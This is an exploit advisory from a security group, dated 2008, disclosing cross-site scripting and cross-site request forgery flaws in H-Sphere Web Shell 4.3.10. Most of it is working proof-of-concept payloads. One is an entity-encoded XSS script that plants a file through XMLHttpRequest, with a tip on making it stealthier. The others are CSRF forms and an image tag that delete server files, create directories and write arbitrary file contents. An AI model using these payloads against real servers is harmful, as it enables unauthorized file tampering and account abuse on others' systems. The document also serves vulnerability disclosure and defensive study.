#=======================================================================#
  .____                   _________            ._.
  |    |    ______  _  __/   _____/ ____   ____| |
  |    |   /  _ \ \/ \/ /\_____  \_/ __ \_/ ___\ |
  |    |__(  <_> )     / /        \  ___/\  \___\|
  |_______ \____/ \/\_/ /_______  /\___  >\___  >_
          \/                    \/     \/     \/\/
      (http://www.lowsec.org)
#========================================================================#
#========================================================================#
Author: C1c4Tr1Z
Date: 28/09/08
Application:  Web Shell version 4.3.10 (2006)
Product WebSite: http://www.psoft.net/HSdocumentation/sysadmin/hsphere-webshell.html
Issues:
    [-]Cross-Site Scripting
    [-]Cross-Site Request Forgery
    
Special thanks to OzX (http://www.nullbytes.net/)!

#========================================================================#
#=============================[XSS]======================================#

Proof-of-Concepts:

/actions.php?m=dload&fn=%3Ciframe/src=javascript:alert(%27XSS%27)%3E
/actions.php?m=search&start=1 [POST data: fld=%2F&mask=%3Ciframe%2Fsrc%3Djavascript%3Aalert%280%29%3E]

<!--
This piece of injection would give you the posibility to create a file (filename: "/XSS") with a simple JavaScript code.
Note: you can change the window.open() for an <iframe> to make it more stealth.
Note2: the code is decimal and hexadecimal encoded, to make a successful injection.
Note3: this script uses XMLHttpRequest() so test it on Firefox!
-->
/actions.php?m=sysinfo&tab=1'><img/src/onerror=%26%23119%26%23105%26%23116%26%23104%26%2340%26%23110%26%23101%26%23119%26%2332%26%2388%26%2377%26%2376%26%2372%26%23116%26%23116%26%23112%26%2382%26%23101%26%23113%26%23117%26%23101%26%23115%26%23116%26%2340%26%2341%26%2341%26%23123%26%2310%26%239%26%23111%26%23112%26%23101%26%23110%26%2340%26%2339%26%2371%26%2369%26%2384%26%2339%26%2344%26%2339%26%23104%26%23116%26%23116%26%23112%26%2358%26%2347%26%2347%26%2357%26%2356%26%2346%26%2349%26%2351%26%2349%26%2346%26%2349%26%2354%26%2352%26%2346%26%2353%26%2347%26%23119%26%23101%26%2398%26%23115%26%23104%26%23101%26%23108%26%23108%26%2352%26%2347%26%2397%26%2399%26%23116%26%23105%26%23111%26%23110%26%23115%26%2346%26%23112%26%23104%26%23112%26%2363%26%23109%26%2361%26%23102%26%23117%26%23116%26%23105%26%23108%26%23115%26%2338%26%2397%26%2399%26%2361%26%23109%26%23107%26%23100%26%2339%26%2344%26%23116%26%23114%26%23117%26%23101%26%2341%26%2344%26%2310%26%239%26%23115%26%23101%26%23110%26%23100%26%2340%26%23110%26%23117%26%23108%26%23108%26%2341%26%2344%26%2310%26%239%26%23111%26%23110%26%23114%26%23101%26%2397%26%23100%26%23121%26%23115%26%23116%26%2397%26%23116%26%23101%26%2399%26%23104%26%2397%26%23110%26%23103%26%23101%26%2361%26%23102%26%23117%26%23110%26%2399%26%23116%26%23105%26%23111%26%23110%26%2340%26%2341%26%23123%26%2310%26%239%26%239%26%23105%26%23102%26%2340%26%23114%26%23101%26%2397%26%23100%26%23121%26%2383%26%23116%26%2397%26%23116%26%23101%26%2361%26%2361%26%2352%26%2332%26%2338%26%2338%26%2332%26%23115%26%23116%26%2397%26%23116%26%23117%26%23115%26%2361%26%2361%26%2350%26%2348%26%2348%26%2341%26%23123%26%2310%26%239%26%239%26%239%26%23119%26%23105%26%23116%26%23104%26%2340%26%23119%26%23105%26%23110%26%23100%26%23111%26%23119%26%2346%26%23111%26%23112%26%23101%26%23110%26%2340%26%2339%26%2339%26%2344%26%2339%26%2395%26%2398%26%23108%26%2397%26%23110%26%23107%26%2339%26%2341%26%2341%26%23123%26%2310%26%239%26%239%26%239%26%239%26%23100%26%23111%26%2399%26%23117%26%23109%26%23101%26%23110%26%23116%26%2346%26%23119%26%23114%26%23105%26%23116%26%23101%26%2340%26%23114%26%23101%26%23115%26%23112%26%23111%26%23110%26%23115%26%23101%26%2384%26%23101%26%23120%26%23116%26%2346%26%23114%26%23101%26%23112%26%23108%26%2397%26%2399%26%23101%26%2340%26%2347%26%2360%26%2392%26%2347%26%2398%26%23111%26%23100%26%23121%26%2362%26%2347%26%2344%26%2339%26%2360%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2362%26%23100%26%23111%26%2399%26%23117%26%23109%26%23101%26%23110%26%23116%26%2346%26%23103%26%23101%26%23116%26%2369%26%23108%26%23101%26%23109%26%23101%26%23110%26%23116%26%23115%26%2366%26%23121%26%2384%26%2397%26%23103%26%2378%26%2397%26%23109%26%23101%26%2340%26%2334%26%23105%26%23110%26%23112%26%23117%26%23116%26%2334%26%2341%26%2391%26%2350%26%2393%26%2346%26%23118%26%2397%26%23108%26%23117%26%23101%26%2361%26%2334%26%2388%26%2383%26%2383%26%2334%26%2359%26%23100%26%23111%26%2399%26%23117%26%23109%26%23101%26%23110%26%23116%26%2346%26%23102%26%23111%26%23114%26%23109%26%23115%26%2391%26%2348%26%2393%26%2346%26%23115%26%23117%26%2398%26%23109%26%23105%26%23116%26%2340%26%2341%26%2359%26%2360%26%2392%26%2347%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2362%26%2360%26%2347%26%2398%26%23111%26%23100%26%23121%26%2362%26%2339%26%2341%26%2341%26%2359%26%2310%26%239%26%239%26%239%26%239%26%23100%26%23111%26%2399%26%23117%26%23109%26%23101%26%23110%26%23116%26%2346%26%2399%26%23108%26%23111%26%23115%26%23101%26%2340%26%2341%26%2359%26%2310%26%239%26%239%26%239%26%23125%26%2310%26%239%26%239%26%23125%26%2310%26%239%26%23125%26%2359%26%2310%26%23125>

clear js script:
----------------

with(new XMLHttpRequest()){open('GET','http://www.victim.com/actions.php?m=futils&ac=mkd',true),send(null),onreadystatechange=function(){if(readyState==4 && status==200){with(window.open('','_blank')){document.write(responseText.replace(/<\/body>/,'<script>document.getElementsByTagName("input")[2].value="XSS";document.forms[0].submit();<\/script></body>'));document.close();}}};}

#========================================================================#
#============================[CSRF]======================================#

The entire application is vulnerable to CSRF!!

Proof-of-Concepts:

<!--
Delete a file from the server.
-->
<img src="http://www.victim.com/actions.php?m=overkill&kill=1&pos=0&fn=FILENAME">


<!--
Create a directory. (Someone could test if this can lead us to XSS..)
-->
<form name='mkd' method='POST' action='http://www.victim.com/actions.php?m=futils&ac=mkd&create=1' enctype='application/x-www-form-urlencoded'>
<input type='hidden' name='do' value='yes'>
<INPUT type='text' class='text' name='dest' value="PATH">
<INPUT type='text' class='text' name='fld' value="DIR_NAME">
</form>
<script>document.forms[0].submit()</script>


<!--
Create a file with any type of content. (This is more than dangerous, this is madness..)
-->
<FORM name='editor' action='http://www.victim.com/actions.php?m=edit&save=1' method='POST' enctype='application/x-www-form-urlencoded'>
<INPUT type="hidden" name="dest">
<INPUT type='text' name='fln' value='/web_dir/FILENAME'>
<TEXTAREA name='body'>
FILE_CONTENT
</TEXTAREA>
</form>
<script>document.forms[0].submit();</script>

#========================================================================#
#========================================================================#
Contact:     C1c4Tr1Z <c1c4tr1z@lowsec.org>
    (http://www.lowsec.org)
  LowSec! Web Application Security (Lab).
       Deus ex Machina
#========================================================================#